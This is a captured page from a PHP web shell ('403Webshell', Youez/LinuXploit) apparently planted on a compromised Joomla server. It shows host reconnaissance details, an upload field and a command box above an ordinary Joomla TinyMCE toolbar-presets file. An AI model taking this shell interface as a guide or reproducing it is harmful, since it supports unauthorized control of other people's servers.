403Webshell
Server IP : 104.21.84.107  /  Your IP : 104.23.197.208
Web Server : Apache/2.4.63 (Ubuntu)
System : Linux adminpruebas-Virtual-Machine 6.14.0-37-generic #37-Ubuntu SMP PREEMPT_DYNAMIC Fri Nov 14 22:10:32 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.4.5
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/tutoriales/plugins/editors/tinymce/src/PluginTraits/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/tutoriales/plugins/editors/tinymce/src/PluginTraits/ToolbarPresets.php
<?php

/**
 * @package     Joomla.Plugin
 * @subpackage  Editors.tinymce
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Plugin\Editors\TinyMCE\PluginTraits;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The ToolbarPresets trait holds the default presets for the toolbar.
 *
 * @since  4.1.0
 */
trait ToolbarPresets
{
    /**
     * Return toolbar presets
     *
     * @return array
     *
     * @since 4.1.0
     */
    public static function getToolbarPreset()
    {
        return [
            'simple' => [
                'menu'     => [],
                'toolbar1' => [
                    'bold', 'underline', 'strikethrough', '|',
                    'undo', 'redo', '|',
                    'bullist', 'numlist', '|',
                    'pastetext', 'jxtdbuttons',
                ],
                'toolbar2' => [],
            ],
            'medium' => [
                'menu'     => ['edit', 'insert', 'view', 'format', 'table', 'tools', 'help'],
                'toolbar1' => [
                    'bold', 'italic', 'underline', 'strikethrough', '|',
                    'alignleft', 'aligncenter', 'alignright', 'alignjustify', '|',
                    'blocks', '|',
                    'bullist', 'numlist', '|',
                    'outdent', 'indent', '|',
                    'undo', 'redo', '|',
                    'link', 'unlink', 'anchor', 'code', '|',
                    'hr', 'table', '|',
                    'subscript', 'superscript', '|',
                    'charmap', 'pastetext', 'preview', 'jxtdbuttons',
                ],
                'toolbar2' => [],
            ],
            'advanced' => [
                'menu'     => ['edit', 'insert', 'view', 'format', 'table', 'tools', 'help'],
                'toolbar1' => [
                    'bold', 'italic', 'underline', 'strikethrough', '|',
                    'alignleft', 'aligncenter', 'alignright', 'alignjustify', '|',
                    'lineheight', '|',
                    'styles', '|',
                    'blocks', 'fontfamily', 'fontsize', '|',
                    'searchreplace', '|',
                    'bullist', 'numlist', 'accordion', '|',
                    'outdent', 'indent', '|',
                    'undo', 'redo', '|',
                    'link', 'unlink', 'anchor', 'image', '|',
                    'code', '|',
                    'forecolor', 'backcolor', '|',
                    'fullscreen', '|',
                    'table', '|',
                    'subscript', 'superscript', '|',
                    'charmap', 'emoticons', 'media', 'hr', 'ltr', 'rtl', '|',
                    'cut', 'copy', 'paste', 'pastetext', '|',
                    'visualchars', 'visualblocks', 'nonbreaking', 'blockquote', 'jtemplate', '|',
                    'print', 'preview', 'codesample', 'insertdatetime', 'removeformat', 'jxtdbuttons',
                    'language',
                ],
                'toolbar2' => [],
            ],
        ];
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit